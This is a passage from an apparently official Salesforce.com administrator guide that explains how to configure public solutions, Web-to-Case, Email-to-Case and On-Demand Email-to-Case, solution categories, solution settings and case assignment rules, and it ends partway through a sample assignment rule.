Public solutions are different from the Self-Service portal and Salesforce.com Customer Portal because users are not required
to log in, and they can only search for solutions, not submit cases. For more information about the Self-Service and Customer
Portal, see Setting Up Self-Service on page 712 and Setting Up Your Customer Portal on page 1426.
Note:

• The search box and button are displayed in a frame; your website must support frames in order for the solution
search feature to work.
• Suggested solutions does not display Salesforce Knowledge articles.

To enable Web access to solutions:

1. Click Setup ➤ Customize ➤ Self-Service ➤ Public Solutions.


2. Click Edit.
3. Check Public Solutions Enabled.

681
Customize Capturing Web Cases

4. If your organization uses solution categories, check Enable Solution Browsing to allow customers to browse solutions
by category. Solution categories cannot be translated into other languages for public solutions.
If multilingual solutions is enabled for your organization, you can add a language drop-down list to public solutions so
that customers can choose which language to search for solutions. For more information, see Customizing Solution Settings
on page 698.
5. If solution category browsing is enabled, select the Top-Level Category accessible by customers in public solutions.
Customers can view all solutions in this category and its subcategories if they are marked Visible in Public Knowledge
Base.

Leave Top-Level Category blank if you want customers to view all solutions in all categories when they are visible as
public solutions.
6. If desired, you can change the appearance of the frame on your website by specifying the Maximum Page Width and
Minimum Page Height.
7. Provide the URL of your CSS page in Style Sheet URL. The CSS file does not have to exist yet; you can download a
sample file as a starting point later, or use your own file.
8. You can change the word or phrase that is used to describe solutions in the frame in Alternative Term. Provide singular
and plural versions of the term.
9. Click Save.
10. If desired, click Download Sample CSS File to get the Salesforce.com style sheet.
11. Click Generate HTML.
12. Copy the resulting HTML code and click Finished.
13. Send the HTML (and the CSS file, if you downloaded it) to your website administrator to be added to your site as follows:

• Add the HTML to your Web page.


• Customize the downloaded style sheet.
• Host the style sheet in a publicly accessible location on your Web server.

Capturing Web Cases


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Case: “Customize Application”

With Web-to-Case, you can gather customer support requests directly from your company’s website and automatically generate
up to 500 new cases a day. This can help your organization respond to customers faster, thus improving the productivity of
your support team.

Preparation
Before setting up Web-to-Case:
• Create custom case fields, if needed (see Creating Custom Fields on page 439).

682
Customize Capturing Web Cases

• Create a default email template for the automated notification email that will be sent to your customers upon submission
of each case (see Managing Email Templates on page 109).
• Create case queues if you wish to assign incoming cases to queues as well as individual users (see Managing Queues on
page 170).
• Customize the Support Settings to select the default owner of cases that fail to meet the criteria in your assignment rule
(see Customizing Support Settings on page 678).
• Create an active case assignment rule to determine how web-generated cases are assigned to users or put into queues (see
Managing Assignment Rules on page 699). If you do not set an active assignment rule, all web-generated cases are assigned
to the default owner you specify in the Support Settings.
For information on setting up Web-to-Case, see Setting Up Web-to-Case on page 683.

Setting Up Web-to-Case
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Web-to-Case: “Customize Application”

To set up Web-to-Case:

1. See Preparation on page 682.


2. Click Setup ➤ Customize ➤ Self-Service ➤ Web-to-Case. This tool helps you generate the HTML code that your
webmaster can insert into your company's website.

a. Click the link to enable Web-to-Case, and check the box to turn it on.
b. Select a default response template for automatically notifying customers that their case was created.
If you set up response rules to use different email templates based on the information submitted, the default email
template is used when no response rules apply. For instructions on setting up response rules, see Setting Up
Auto-Response Rules on page 708. Leave this option blank if you do not wish to send emails when no response rules
apply. This template must be marked as “Available for Use.”
c. Choose the default Origin for all Web cases, and click Save.
d. Click Generate the HTML.
Tip: Use a custom multi-select picklist to allow customers to report cases on several products at a time.

e. To select the fields to include on your Web-to-Case form, use the Add and Remove arrows to move fields between
the Available Fields list and the Selected Fields list. Use the Up and Down arrows to change the order of the fields on
your form.
For organizations using multiple currencies, add the Case Currency field to the HTML if you add any other currency
amount fields, otherwise all amounts will be captured in your corporate currency.
For organizations using record types on cases, select the Case Record Type field if you want users submitting
Web-generated cases to select specific record types.

683
Customize Capturing Web Cases

f. If your organization uses the Self-Service portal or the Customer Portal and you want Web-generated cases to be visible
to users in these portals, select Visible in Self-Service Portal.
g. If your organization uses the translation workbench or has renamed tabs, select the language for the form labels displayed
on your Web-to-Case form. The source of your Web-to-Case form is always in your personal language.
h. Specify the complete URL to which customers should be directed after they submit their information, and click
Generate. This could be a “thank you” page or your company's home page.

3. Copy the generated HTML code and provide it to your company’s webmaster so he or she can incorporate it into your
website.
4. Click Finished.
5. If you want to test the Web-to-Case form, add the line <input type="hidden" name="debug" value="1"> to
the code. This line redirects you to a debugging page when you submit the form. Don't forget to remove it before releasing
the Web-to-Case page to your website.

Note:

• All Web-generated cases that are not assigned automatically via the case assignment rule are assigned to the default
case owner specified in your Support Settings.
• Whenever possible, Web-generated cases are automatically linked to the relevant contact and account based on
the customer’s email address.
• Salesforce.com runs field validation rules before creating records submitted via Web-to-Case and only creates
records that have valid values. All universally required fields must have a value before a record can be created via
Web-to-Case.
• The format for date and currency fields captured online is taken from your organization’s default settings - Default
Locale and Currency Locale. If your organization exceeds its daily Web-to-Case limit, the default case owner
(specified in your Support Settings) will receive an email containing the additional case information

See Also:
Assigning Cases
Displaying and Editing Cases
Managing Assignment Rules
Setting Up Customer Support
Setting Up Self-Service
Setting Up Auto-Response Rules

684
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

Setting Up Email-to-Case or On-Demand Email-to-Case


Email-to-Case is available in: Professional, Enterprise, Unlimited, and Developer Editions
On-Demand Email-to-Case is available in Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Email-to-Case or On-Demand Email-to-Case: “Customize Application”
To enable Email-to-Case or On-Demand Email-to-Case: “Modify All Data”
AND
“Customize Application”

Salesforce.com can automatically create a case when an email is sent to one of your company's email addresses, such as
support@company.com. This Email-to-Case functionality auto-populates case fields from the content of each email. For
example, an email subject heading becomes a case subject. Your organization can set up Email-to-Case or On-Demand
Email-to-Case to efficiently resolve and correspond with customer inquiries via email.
Salesforce.com allows you to choose one of two Email-to-Case options:
Email-to-Case
Email-to-Case requires downloading the Email-to-Case agent from wiki.apexdevnet.com/index.php/Email_To_Case
and installing the agent behind your network's firewall.
Use Email-to-Case if you have a requirement to keep all email traffic within your firewall, and you want to accept email
attachments larger than 10 MB from customers.

On-Demand Email-to-Case
On-Demand Email-to-Case uses Apex email services to convert email to cases, without you having to download and
install an agent behind your network's firewall.
Use On-Demand Email-to-Case if you are not concerned about keeping email traffic within your firewall, and you do
not need to accept attachments larger than 10 MB from customers.

Setting Up Email-to-Case
The following high-level steps outline how to set up Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce.com, enable Email-to-Case and configure your email routing addresses. See Enabling and Configuring
Email-to-Case on page 686.
3. Download the Email-to-Case agent from wiki.apexdevnet.com/index.php/Email_To_Case.
4. Install the agent behind your network's firewall.
5. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.

685
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

6. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
7. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 620.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 109.

Setting Up On-Demand Email-to-Case


The following high-level steps outline how to set up On-Demand Email-to-Case:
1. Determine the email routing addresses that your customers can use to submit cases to your support team. Emails are
automatically converted to cases based on the settings specified for each routing address.
2. In Salesforce.com, configure your email routing addresses and enable On-Demand Email-to-Case. See Enabling and
Configuring On-Demand Email-to-Case on page 690.
3. Configure your email system to forward case submissions to the email services address provided to you by Salesforce.com.
For more information, see your email system's documentation.
4. Test your email routing addresses:
a. Manually send emails to the routing addresses.
b. Verify that the emails convert to cases based on their routing address settings.

5. Add the email address that you configured to your company's support website. This is the email address customers can use
to submit cases to your support team.
6. Add the Emails related list to the Cases page layout. For more information, see Customizing Page Layouts on page 620.
Note: You can create email templates that support reps can use to respond to Email-to-Case or On-Demand
Email-to-Case emails. These templates can include merge fields that display information from the original email in
the response. See Managing Email Templates on page 109.

Enabling and Configuring Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up Email-to-Case: “Customize Application”
To enable Email-to-Case: “Modify All Data”
AND
“Customize Application”

This topic describes how to enable and configure Email-to-Case using the options available on the Email-to-Case Settings
page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before and
after the tasks described in this topic.

686
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

This topic is intended for customers who are running the Email-to-Case agent within their network's firewall, as opposed to
On-Demand Email-to-Case which uses Apex email services. For information on enabling and configuring On-Demand
Email-to-Case, see Enabling and Configuring On-Demand Email-to-Case on page 690.
Before getting started, review the information in Tips on Email-to-Case on page 689.
To implement Email-to-Case, you need to add a new email routing address, verify the new email routing address, and enable
Email-to-Case:

1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case.


From the Email-to-Case Settings page, you can:

• Click Edit to edit an existing routing address.


• Click Del to delete an existing routing address.
• Click Verify to confirm and verify the email address used in an existing routing address. A verification email is
immediately sent to the new routing address, which includes a link, that when clicked, completes the verification process.

2. From the Routing Addresses related list, click New. You can create up to 50 routing addresses to administer separate email
addresses for Email-to-Case. A routing address is activated after Email-to-Case is enabled.
3. Enter the routing address settings.

Setting Description
Routing Name The name for the routing address. For example, Gold
Support or Standard Support.
Email Address The inbound email address for this Email-to-Case routing
address. Emails sent to this address are created as cases using
the specified settings. The email address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.
Save Email Headers Select this checkbox to save the email routing information
associated with each email submitted as a case. Saving email
routing information counts towards your organization's
overall storage limit.
To view email headers from an email converted to a case,
see Working with Case Emails on page 1337.

Create Task from Email Select this checkbox to automatically assign a task to the
case owner when an email is submitted as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 700
and Customizing Support Settings on page 678.

687
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

Setting Description
Task Status Choose a status from this drop-down list with which to
predefine the Status field on tasks automatically assigned
to case owners when email is submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.

Case Priority The priority assigned to cases created from emails sent to
this email address.
Case Origin The value assigned to the Case Origin field for cases
created via this Email-to-Case routing information.
Case Record Type The record type used to create cases from emails sent to this
email address. If a routing address has a case record type of
“None,” then new cases will default to the record type of the
user configured in the Email-to-Case agent. If your
organization does not use record types, this setting is not
available.

4. Click Save to save the routing address settings.


Alternatively, click Save & New to save the routing address, and then create a new routing address.
A verification email is immediately sent to the new routing address, which will not be verified until you click the verification
link in the email.
5. Click the link in the verification email.
Optionally, click Verify next to the email address on the Email Address detail page to have Salesforce.com send another
verification email to the new routing address.
Salesforce.com notifies you when the new email routing address is verified.
6. Click Continue.
7. Return to the Email-to-Case Settings page by clicking Setup ➤ Customize ➤ Cases ➤ Email-to-Case.
8. Click Edit to apply the following Email-to-Case settings:

Email-to-Case Setting Description


Enable Email-to-Case Select this checkbox to activate Email-to-Case.
Notify Case Owners on New Email Select this checkbox to allow case owners to automatically
receive notifications when email arrive for their existing
cases. Email notifications assign a task to the case owner to
respond to the new email. Responding to the email closes
the task. To disable email notifications at any time, simply
deselect the checkbox.
Enable HTML Email Select this checkbox to warn users before they view incoming
HTML email content so that they can avoid opening
potentially malicious HTML that could harm their

688
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

Email-to-Case Setting Description


computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.
Email Subject Select this checkbox to add the thread ID to the subject of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

Email Body Select this checkbox to add the thread ID to the body of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

9. Click Save.

Tips on Email-to-Case
Consider the following when setting up a routing address for Email-to-Case:
• When a customer sends an email to this routing address, a case is created in your organization with the email subject as
the case Subject and the email body as the case Description.
• The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email. Salesforce.com processes the
routing address of an inbound email in the following order and stops at the first match:
1. To
2. CC
3. BCC
Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email.
• To have cases that are created via Email-to-Case automatically display in the Self-Service portal, see Enabling Self-Service
Features and Settings on page 714.
• The limit on the number of emails a day that an organization can convert into cases is 2500 per day for Professional,
Enterprise, Unlimited, and Developer Editions (total number of cases, inclusive of all email addresses). If your organization
exceeds its daily Email-to-Case limit, the following API exception code is returned to the Email-to-Case agent:
EMAIL_TO_CASE_LIMIT_EXCEEDED. You can configure the agent to take appropriate action, such as notifying
your administrator, when this occurs.

689
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

• Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to emails.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
• When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 393.

See Also:
Displaying and Editing Cases
Working with Case Emails
Managing Assignment Rules
Setting Up Auto-Response Rules

Enabling and Configuring On-Demand Email-to-Case


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up On-Demand Email-to-Case “Customize Application”
To enable On-Demand Email-to-Case “Modify All Data”
AND
“Customize Application”

This topic describes how to enable and configure On-Demand Email-to-Case using the options available on the Email-to-Case
Settings page. In addition, refer to Setting Up On-Demand Email-to-Case for the high-level steps you should perform before
and after the tasks described in this topic.
Before getting started, review the information in Tips and Considerations for On-Demand Email-to-Case on page 694.
To enable and configure On-Demand Email-to-Case, perform the following procedures in order:

1. Enabling On-Demand Email-to-Case


2. Defining and Verifying Email Routing Addresses
3. Configuring Email-to-Case Settings

Enabling On-Demand Email-to-Case


To enable On-Demand Email-to-Case:
1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. Select the Enable Email-to-Case checkbox. After you enable Email-to-Case, it cannot be disabled.

690
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

4. Select the Enable On-Demand Service checkbox.


To disable On-Demand Email-to-Case at any time, deselect the checkbox. You can also re-enable On-Demand
Email-to-Case at any time.
5. Click Save. You will configure the remaining settings later.

Defining and Verifying Email Routing Addresses


To define and verify email routing addresses:
1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case to open the Email-to-Case settings page.
2. On the Routing Addresses related list, click New.
3. Enter the routing address settings:

Setting Description
Routing Name The name for the routing address. For example, Gold
Support or Standard Support.
Email Address The inbound email address for this On-Demand
Email-to-Case routing address. Email sent to this address
creates new cases using the specified settings. The email
address must be unique.
Note that this is the email address to which you will provide
a link on your company's support website.

Save Email Headers Select this checkbox to save the email routing information
associated with each email submitted as a case. Saving email
routing information counts towards your organization's
overall storage limit. For more information, see Monitoring
Resources on page 253.
To view email headers from an email converted to a case,
see Working with Case Emails on page 1337.

Accept Email From Leave this field blank to allow On-Demand Email-to-Case
to receive email from any email address or domain. Or, you
can limit the email addresses and domains available for
On-Demand Email-to-Case by entering them in this field.
Create Task from Email Select this checkbox to automatically assign a task to the
case owner when an email is submitted as a case.
Assignment rules automatically assign owners to a case;
however, if a case does not match assignment rule criteria,
then the user in the Default Case Owner field on the
Support Settings page is assigned to the case. For more
information, see Setting Up Assignment Rules on page 700
and Customizing Support Settings on page 678.

Task Status Choose a status from this drop-down list with which to
predefine the Status field on tasks automatically assigned
to case owners when email is submitted as cases.
This setting is only available if you selected the Create
Task from Email checkbox.

691
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

Setting Description
Case Priority The priority assigned to cases created from emails sent to
this email routing address.
Case Origin The value assigned to the Case Origin field for email sent
to this email routing address.
Case Record Type The record type used to create cases from emails sent to this
email routing address.
This setting is not available if your organization does not
use record types.
The user in the Automated Case User field on the
Support Settings page will automatically receive a notification
if he or she does not have access to the selected case record
type.

4. Click Save to save the routing address settings. Alternatively, click Save & New to save the routing address, and then
create a new routing address.
You can only save routing addresses if a user is included in the Automated Case User field on the Support Settings
page. To add a user to the Automated Case User field, click Setup ➤ Customize ➤ Cases ➤ Support Settings.
A verification email is immediately sent to the new routing address which includes a link that you click to complete the
verification process. The new routing address will not be verified until you open the email and click the link.
5. Click the link in the verification email.
When the new email routing address is verified, it is listed as Verified in the Routing Addresses related list on the
Email-to-Case Settings page. In addition, Salesforce.com automatically generates a unique email service address with
which you configure your email system to forward case submissions. This email services address displays in the Routing
Addresses related list on the Email-to-Case Settings page and on the detail page of a each routing address.

Tip: To send additional verification emails to a new routing address, go to the Routing Addresses related list on the
Email-to-Case Settings page and click Verify next to the email address.
After verifying a routing address, click its name in the Routing Addresses related list to view its details, edit its settings,
or clone new copies of it.

Configuring Email-to-Case Settings


To configure Email-to-Case settings:
1. Click Setup ➤ Customize ➤ Cases ➤ Email-to-Case to open the Email-to-Case settings page.
2. Click Edit.
3. As appropriate, set the following options:

On-Demand Email-to-Case Setting Description


Notify Case Owners on New Email Select this checkbox to allow case owners to automatically
receive notifications when emails arrive for their existing
cases. Email notifications assign a task to the case owner to
respond to the new email when the Create Task from
Email checkbox is selected. Responding to the email closes

692
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

On-Demand Email-to-Case Setting Description


the task. To disable email notifications at any time, simply
deselect the checkbox.
Enable HTML Email Select this checkbox to warn users before they view incoming
HTML email content so that they can avoid opening
potentially malicious HTML that could harm their
computers. With this setting disabled, users will see text
instead of HTML on email message detail pages, and when
users reply to an email, the text version of the email will be
copied to the email editor, instead of the HTML version.
To disable HTML email warnings at any time, simply
deselect the checkbox.
Email Subject Select this checkbox to add the thread ID to the subject of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

Email Body Select this checkbox to add the thread ID to the body of
email.
You can choose whether the thread ID should be included
in the emails users send from cases. The thread ID is the
unique ID of each case email, such as
[ref:00DxRtp.500xXFKf:ref ]. By default, the thread ID is
added to both the subject and body of case emails.

Over Email Rate Limit Action Choose what On-Demand Email-to-Case does with email
that surpasses the daily email processing limit for your
organization:
• Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.
• Discard message - The email service deletes the message
without notifying the sender.
• Requeue message - The email service queues the message
for processing in the next 24 hours. If the message is not
processed within 24 hours, the email service returns the
message to the sender with a notification that explains
why the message was rejected.
For more information on email processing limits, see Tips
and Considerations for On-Demand Email-to-Case.

Unauthorized Sender Action If you limited the email addresses and domains available for
On-Demand Email-to-Case in the Accept Email From
field, choose what happens to messages received from senders
who are blocked:

693
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

On-Demand Email-to-Case Setting Description


• Bounce message - The email service returns the message
to the sender or to the Automated Case User for
On-Demand Email-to-Case, with a notification that
explains why the message was rejected.
• Discard message - The email service deletes the message
without notifying the sender.

4. Click Save.

Tips and Considerations for On-Demand Email-to-Case


Consider the following when setting up routing addresses for On-Demand Email-to-Case:

• A Data Not Available error displays if you have an email service named “EmailToCase.“ If you have an email service
named “EmailToCase,” and you wish to create routing addresses for On-Demand Email-to-Case, you must:

1. Rename the email service from “EmailToCase” to another name.


2. If the Enable On-Demand Service checkbox is selected for On-Demand Email-to-Case:

a. Deselect Enable On-Demand Service.


b. Click Save.
c. Click Edit on the Email-to-Case settings page.
d. Select Enable On-Demand Service.
e. Click Save.

• The following error message is sent to the Automated Case User after an email is converted to a case and a workflow
rule attempts to add a field value to the case that surpasses field value limits:
CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY: A workflow or approval field update caused
an error when saving this record. Contact your administrator to resolve it. When
this error occurs, any auto-response rules set up in your organization do not send a response to the user who sent the email.
You can prevent similar errors from happening by deactivating the workflow rule.
• When a customer sends an email to a routing address, a case is created in your organization with the email subject as the
case Subject and the email body as the case Description.
• Salesforce.com limits the total number of messages that On-Demand Email-to-Case can process to 2500 email messages
per day. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how
you configure over email rate limit settings on page 693.
• Apex email services limits apply to On-Demand Email-to-Case:

- 100,000 characters (approximate) body text


- 100,000 characters (approximate) body HTML
- 100,000 characters (approximate) per text attachment
- 5 MB per binary attachment
- 10 MB per inbound email message (including body text, HTML, and attachments)

Email services reject email messages that exceed any of these limits and notifies the sender.

694
Customize Setting Up Email-to-Case or On-Demand Email-to-Case

Text in an email that is over 100 KB is automatically truncated to 32 KB to fit a case record.
• The Priority, Case Origin, and Case Record Type fields auto-populate the case via the routing address settings
when the routing address is included in either the To, CC, or BCC fields of an inbound email.
• Salesforce.com processes the routing address of an inbound email in the following order and stops at the first match:

1. To
2. CC
3. BCC

Note that some email applications do not automatically send BCC information. Therefore, case fields may not auto-populate
properly if the routing address is included in the BCC field of an inbound email. Furthermore, an email may not convert
to a case properly if you include the email services address in the BCC field of an email.
• If you use Microsoft Outlook® to redirect emails to a routing address:

- The CC Address field may be blank on cases created from emails


- Only one email address may be included in the To field of emails
This is because some versions of Outlook redirect emails with only one address in the To field and no addresses in the CC
field. To prevent these issues, consider using Microsoft Exchange Server instead of Outlook to redirect emails to a routing
address.
• To have cases that are created via On-Demand Email-to-Case automatically display in the Self-Service portal, see Enabling
Self-Service Features and Settings on page 714.
• Deselect both the Email Subject and Email Body checkboxes to prevent the thread ID from being added to email.
If you deselect both the Email Subject and Email Body checkboxes, then all incoming responses to outbound case
emails create new cases.
• If there is an error processing an email to a case via a routing address, then a notification is sent to the user who created
the routing address.
• If email is sent to a routing address or email services address when On-Demand Email-to-Case is disabled, then a notification
is sent to the user who created the routing address.
• When you reply to email messages in the Email related list on cases, the From: field on your email may display to recipients
as no-reply@salesforce.com or support@company.com. This is due to how the recipients' email applications
receive Sender and From headers on inbound email. By default, an Enable Sender ID compliance setting is selected
for your organization, which enables email messages sent from Salesforce.com to comply with email applications that
require Sender headers for delivery. For more information, see Configuring Deliverability Settings on page 393.

See Also:
Creating Workflow Rules
Setting Up Auto-Response Rules

695
Customize Managing Solution Categories

Managing Solution Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change solution categories: “Manage Categories”

Create solution categories so that users can group similar solutions together. Once your solutions are categorized, users can
browse for and find solutions by category from the Solutions tab or when solving a case. Customers can also browse solutions
by category in public solutions, the Self-Service portal, and the Customer Portal.
To learn more, see:

• Getting Started with Categories on page 696


• Defining Solution Categories on page 697
• Entering Translated Terms on page 123

Getting Started with Categories


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change solution categories: “Manage Categories”

Follow these steps to ensure a successful rollout of solutions:

1. Plan which categories your support team needs.


Keep in mind that you can also allow customers to find solutions by category in public solutions and your Self-Service
portal. You can specify that customers can view only solutions in a particular category and all of its subcategories.
2. Define your categories; see Defining Solution Categories on page 697.
3. Categorize your solutions; see Categorizing Solutions on page 2118. Administrators, and users with the “Manage Categories”
permission, can categorize solutions prior to enabling solution categories for the entire organization.
4. Create a custom report of type Solution Categories to verify that all solutions are categorized appropriately. To find any
uncategorized solutions, use the advanced report filters; choose the Category Name field and the “equals” operator, and
leave the third field blank. Administrators, and users with the “Manage Categories” permission, can create solution category
reports prior to enabling solution categories for the entire organization.
5. Enable solution category browsing for the Solutions tab; see Customizing Solution Settings on page 698.
6. Enable solution category browsing for customers using public solutions and your Self-Service portal. See Enabling Public
Solutions on page 681 and Enabling Self-Service Features and Settings on page 714.

696
Customize Managing Solution Categories

7. Specify the top-level category accessible by customers using public solutions and your Self-Service portal. This is useful if
you want to have certain categories available only to internal staff.
Leave this blank if you want customers to view all categories and all solutions that are visible in Self-Service portal or visible
in public solutions.

See Also:
Managing Solution Categories

Defining Solution Categories


Begin by creating your solution categories. The All Solutions category is automatically created for you as the top of your
solution hierarchy. Users cannot add solutions to this category or translate it.

1. Click Setup ➤ Customize ➤ Solutions ➤ Solution Categories.


2. Click Add Category to create a subcategory below a specific category.
3. Enter the category name. Category names cannot include the backslash “\” character.
4. Select a different parent category, if desired. The parent category is the category directly above this category in the hierarchy.
5. Select a sort order for any subcategories you create under this category.

• Choose Alphabetical Order to sort subcategories alphabetically.


• Choose Custom Order to sort subcategories in the order you specify; see Adding and Sorting Subcategories on page
697.

6. Click Save.
7. After creating categories, categorize your solutions. See Categorizing Solutions on page 2118. Administrators, and users
with the “Manage Categories” permission, can categorize solutions prior to enabling solution categories for the entire
organization.
8. Then, after categorizing solutions, turn on solution category browsing on the Solutions tab. See Customizing Solution
Settings on page 698.
9. To enable solution category browsing for the public knowledge base or your Self-Service portal, see Enabling Public
Solutions on page 681 and Enabling Self-Service Features and Settings on page 714.

Editing and Deleting Categories


From the list of solution categories, you can:
• Click Edit to modify the category name, parent category, or sort order.
• Click Del to delete the category. The solutions associated with the category are not deleted.
Note: You cannot delete a category in use by a Salesforce.com Customer Portal. For more information, see Enabling
Customer Portal Login and Settings on page 1434.

• Click the category name to view the category details.

Adding and Sorting Subcategories


From a category detail page, you can:

697
Customize Customizing Solution Settings

• Click New to add a subcategory below the category.


• Enter a custom sort order for the subcategories.
1. Edit the category to set the Subcategory Sort Order to Custom Order.
2. Enter numbers in the Order column to specify the order of the subcategories.
3. Click Reorder.

See Also:
Categorizing Solutions
Entering Translated Terms

Customizing Solution Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change solution settings: “Customize Application”

To customize solution settings:

1. Click Setup ➤ Customize ➤ Solutions ➤ Solution Settings.


2. Click Edit.
3. Select Enable Solution Browsing to turn on the ability to browse for and find solutions by category.
This setting enables solution browsing on the Solutions tab, Customer Portal, and when solving a case. For information
on translating solution categories into multiple languages, see Entering Translated Terms on page 123.
4. Select Enable Multilingual Solutions to turn on the ability for users to translate solutions into multiple languages.
You can deselect the Enable Multilingual Solutions checkbox at any time, but deselecting it removes all associations
between master and translated solutions and automatically disables the Enable Multilingual Solution Search
in Self Service Portal and Enable Multilingual Solution Search for Public Solutions settings.
If you select the Enable Multilingual Solutions checkbox again, the associations between master and translated
solutions are restored.
5. Select Enable Multilingual Solution Search in Self-Service Portal to add a language drop-down list
to the Self-Service portal that automatically restricts search results to solutions that match the Self-Service portal user’s
language. From the language drop-down list, Self-Service portal users can choose whether to search for solutions in a
specific language or any language supported by Salesforce.com.
Deselecting this checkbox removes the language drop-down list from the Self-Service portal, and search results include
solutions in all languages, regardless of the Self-Service portal user's language.
6. Select Enable Multilingual Solution Search for Public Solutions to add a language drop-down list to
public solutions so that public solutions users can choose which language to search for solutions. From the language
drop-down list, public solutions users can choose whether to search for solutions in a specific language or any language
supported by Salesforce.com.

698
Customize Managing Assignment Rules

Deselecting this checkbox removes the language drop-down list from public solutions, and search results include solutions
in all languages.
7. Select Enable HTML Solutions to create and display solutions in HTML. When enabled, solutions appear in HTML
in Salesforce.com, public solutions, Self-Service portal, and Salesforce.com Customer Portal. Using HTML Solutions
allows users to easily format solution details by changing fonts and colors, and adding images and hyperlinks.
Caution: Once you select Enable HTML Solutions, you cannot disable it.

8. Select Solution Summary to display up to 150 characters of the solution details in the solution search results. Deselecting
this checkbox removes the solution summary from the results.
9. Select Inline Category Breadcrumbs to display up to 150 characters of the breadcrumb trail of categories to which
the solution belongs in the search results. Deselecting this checkbox removes the breadcrumbs from the results.
10. Click Save.
11. To enable solution browsing by customers in public solutions or your Self-Service portal, see Enabling Public Solutions
on page 681 and Enabling Self-Service Features and Settings on page 714.
In addition, you can customize the top-level category accessible by public solutions and Self-Service users. You do not
need to modify this setting if you want customers to view all categories and all solutions that are visible in the Self-Service
portal or visible in public solutions.

See Also:
Categorizing Solutions
Managing Solution Categories
Enabling Multilingual Solutions
Setting Up Your Customer Portal

Managing Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change assignment rules: “Customize Application”

Create assignment rules to automate your organization’s lead generation and support processes.

• Lead Assignment Rules - Specify how leads are assigned to users or queues as they are created manually, captured from
the web, or imported via the lead import wizards.
• Case Assignment Rules - Determine how cases are assigned to users or put into queues as they are created manually, using
Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook, or
Lotus Notes.

699
Customize Managing Assignment Rules

Typically, your organization will have one rule for each overall purpose - for example, one lead assignment rule for importing
and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case
assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number
of rules allowed in each organization, see Salesforce.com Editions and Limits.
Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard
case assignment rule may have two entries: cases with “Type equals Gold” are assigned to “Gold Service” queue, and cases
with “Type equals Silver” are assigned to “Silver Service” queue.
To create an assignment rule, click Setup ➤ Customize from the top of any page. Then select Leads or Cases, and click
Assignment Rules.

Sample Assignment Rule


The following case assignment rule assigns a case to a specific queue based on the account rating:
Rule Name — Hot Account Assignment
Rule Entries:

Order Criteria Assign To


